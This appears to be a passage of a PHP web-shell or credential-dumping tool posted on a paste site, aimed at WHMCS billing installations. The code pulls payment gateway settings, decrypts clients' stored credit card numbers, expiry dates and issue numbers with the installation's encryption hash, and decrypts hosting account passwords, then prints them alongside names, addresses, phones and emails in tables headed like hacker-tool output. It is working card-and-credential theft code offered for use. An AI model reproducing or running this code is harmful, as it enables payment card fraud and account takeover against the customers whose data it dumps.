  672. echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
  673. <tr><th colspan='4'><nobr><span class='b7'>O=:[ PAYMENTS GATEWAY ]:=O</span></nobr></th></tr>
  674.  
  675. <tr>
  676. <th align='center'><b>GATEWAY</b></th>
  677. <th align='center'><b>SETTING</b></th>
  678. <th align='center'><b>VALUE</b></th>
  679. <th align='center'><b>ORDER</b></th></tr>";
  680. if(!is_array(mysql_fetch_array($query))){
  681. echo "<tr><td colspan='4' align='center'>Nothing Found !</td></tr>";
  682. }
  683. while($v = mysql_fetch_array($query)){
  684. echo "<tr>
  685. <td align='center'>{$v['gateway']}</td>
  686. <td align='center'>{$v['setting']}</td>
  687. <td align='center'>{$v['value']}</td>
  688. <td align='center'>{$v['order']}</td> </tr>" ;
  689. }
  690. echo "</table>";
  691.  
  692. $query = mysql_query("SELECT id FROM tblclients WHERE issuenumber != '' ORDER BY id DESC");
  693.  echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
  694. <tr><th colspan='10'><nobr><span class='b7'>O=:[ CLIENTS CREDIT CARD ]:=O</span></nobr></th></tr>
  695. <tr>
  696. <th align='center'><b>CardType</b></th>
  697. <th align='center'><b>CardNumb</b></th>
  698. <th align='center'><b>Expdate</b></th>
  699. <th align='center'><b>IssueNumber</b></th>
  700. <th align='center'><b>FirstName</b></th>
  701. <th align='center'><b>LastName</b></th>
  702. <th align='center'><b>Address</b></th>
  703. <th align='center'><b>Country</b></th>
  704. <th align='center'><b>Phone</b></th>
  705. <th align='center'><b>Email</b></th>
  706. </tr>";
  707. if(!is_array(mysql_fetch_array($query))){
  708. echo "<tr><td colspan='10' align='center'>Nothing Found ! :(</td></tr>";
  709. }        
  710. while($v = mysql_fetch_array($query)) {
  711. $cchash = md5($cc_encryption_hash.$v['0']);
  712. $s = mysql_query("SELECT firstname,lastname,address1,country,phonenumber,cardtype,email,AES_DECRYPT(cardnum,'" . $cchash . "') as cardnum,AES_DECRYPT(expdate,'" . $cchash . "') as expdate,AES_DECRYPT(issuenumber,'" . $cchash . "') as issuenumber FROM tblclients WHERE id='".$v['0']."'");
  713. $v2=mysql_fetch_array($s);
  714.  
  715. echo "<tr>
  716. <td align='center'>".$v2['cardtype']."</td>
  717. <td align='center'>".$v2['cardnum']."</td>
  718. <td align='center'>".$v2['expdate']."</td>
  719. <td align='center'>".$v2['issuenumber']."</td>
  720. <td align='center'>".$v2['firstname']."</td>
  721. <td align='center'>".$v2['lastname']."</td>
  722. <td align='center'>".$v2['address1']."</td>
  723. <td align='center'>".$v2['country']."</td>
  724. <td align='center'>".$v2['phonenumber']."</td>
  725. <td align='center'>".$v2['email']."</td></tr>";
  726. }
  727. echo "</table>";
  728.  
  729. $query = mysql_query("SELECT *FROM tblhosting");
  730. echo "<br/><br/><center>
  731. <table class='explore' style=width:830px;padding:0 1px;>
  732. <tr><th colspan='6'><nobr><span class='b7'>O=:[ CLIENTS HOSTING ACCOUNT ]:=O</span></nobr></th></tr>
  733. <tr>
  734. <th align='center'><b>DOMAIN</b></th>
  735. <th align='center'><b>STATUS</b></th>
  736. <th align='center'><b>USERNAME</b></th>
  737. <th align='center'><b>PASSWORD</b></th>
  738. <th align='center'><b>DEDICATED IP</b></th>
  739. <th align='center'><b>ASSIGNED IP</b></th></tr>";
  740. if(!is_array(mysql_fetch_array($query))){
  741. echo "<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
  742. }
  743. while($v = mysql_fetch_array($query)){
  744. echo "<tr>
  745. <td align='center'>{$v['domain']}</td>
  746. <td align='center'>{$v['domainstatus']}</td>
  747. <td align='center'>{$v['username']}</td>
  748. <td align='center'>".dec($v['password'],$cc_encryption_hash)."</td>
  749. <td align='center'>{$v['dedicatedip']}</td>
  750. <td align='center'>{$v['assignedips']}</td></tr>";
  751. echo "</table>";
  752. }
  753. }
  754.  
  755. ?>
  756. <?php } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement